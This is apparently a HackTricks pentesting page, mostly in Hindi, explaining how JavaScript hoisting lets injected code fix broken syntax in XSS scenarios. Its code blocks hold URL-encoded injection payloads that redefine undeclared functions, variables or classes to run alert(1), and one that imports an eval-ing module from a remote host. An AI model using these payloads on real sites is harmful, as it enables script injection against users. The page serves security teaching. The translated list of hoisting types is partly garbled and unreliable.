138 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JS Hoisting
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
JavaScript भाषा में, एक तंत्र जिसे **Hoisting** कहा जाता है, का वर्णन किया गया है जहाँ वेरिएबल, फंक्शंस, क्लासेस, या इम्पोर्ट्स की घोषणाएँ उनके स्कोप के शीर्ष पर विचारात्मक रूप से उठाई जाती हैं इससे पहले कि कोड निष्पादित हो। यह प्रक्रिया स्वचालित रूप से JavaScript इंजन द्वारा की जाती है, जो स्क्रिप्ट को कई पास में पार्स करता है।
पहले पास के दौरान, इंजन कोड को पार्स करता है ताकि सिंटैक्स त्रुटियों की जांच की जा सके और इसे एक अमूर्त सिंटैक्स ट्री में परिवर्तित किया जा सके। इस चरण में होइस्टिंग शामिल है, एक प्रक्रिया जहाँ कुछ घोषणाएँ निष्पादन संदर्भ के शीर्ष पर ले जाई जाती हैं। यदि पार्सिंग चरण सफल होता है, जो कि कोई सिंटैक्स त्रुटियाँ नहीं होने का संकेत है, तो स्क्रिप्ट निष्पादन आगे बढ़ता है।
यह समझना महत्वपूर्ण है कि:
1. स्क्रिप्ट को निष्पादन के लिए सिंटैक्स त्रुटियों से मुक्त होना चाहिए। सिंटैक्स नियमों का सख्ती से पालन किया जाना चाहिए।
2. स्क्रिप्ट के भीतर कोड का स्थान होइस्टिंग के कारण निष्पादन को प्रभावित करता है, हालाँकि निष्पादित कोड इसकी पाठ्य प्रतिनिधित्व से भिन्न हो सकता है।
#### Types of Hoisting
MDN से मिली जानकारी के आधार पर, JavaScript में चार विशिष्ट प्रकार की होइस्टिंग हैं:
1. **Value Hoisting**: एक वेरिएबल के मान का उपयोग उसके घोषणात्मक पंक्ति से पहले उसके स्कोप के भीतर करने की अनुमति देता है।
2. **Declaration Hoisting**: एक वेरिएबल को उसके घोषणात्मक पंक्ति से पहले उसके स्कोप के भीतर संदर्भित करने की अनुमति देता है बिना `ReferenceError` उत्पन्न किए, लेकिन वेरिएबल का मान `undefined` होगा।
3. यह प्रकार अपने स्कोप के भीतर व्यवहार को बदलता है क्योंकि वेरिएबल की घोषणा उसके वास्तविक घोषणात्मक पंक्ति से पहले होती है।
4. घोषणा के साइड इफेक्ट्स उसके साथ मौजूद अन्य कोड के मूल्यांकन से पहले होते हैं।
विस्तार से, फंक्शन घोषणाएँ प्रकार 1 होइस्टिंग व्यवहार प्रदर्शित करती हैं। `var` कीवर्ड प्रकार 2 व्यवहार को प्रदर्शित करता है। लेक्सिकल घोषणाएँ, जिसमें `let`, `const`, और `class` शामिल हैं, प्रकार 3 व्यवहार दिखाती हैं। अंत में, `import` स्टेटमेंट अद्वितीय होते हैं क्योंकि वे प्रकार 1 और प्रकार 4 दोनों व्यवहार के साथ होइस्ट होते हैं।
## Scenarios
इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप **एक अनघोषित ऑब्जेक्ट के बाद JS कोड इंजेक्ट कर सकते हैं**, तो आप इसे घोषित करके **सिंटैक्स को ठीक कर सकते हैं** (ताकि आपका कोड निष्पादित हो सके बजाय इसके कि एक त्रुटि फेंके):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
```
```javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
```
```javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
```
```javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## अधिक परिदृश्य
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
```
```javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
```
```javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
```
## संदर्भ
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
{{#include ../../banners/hacktricks-training.md}}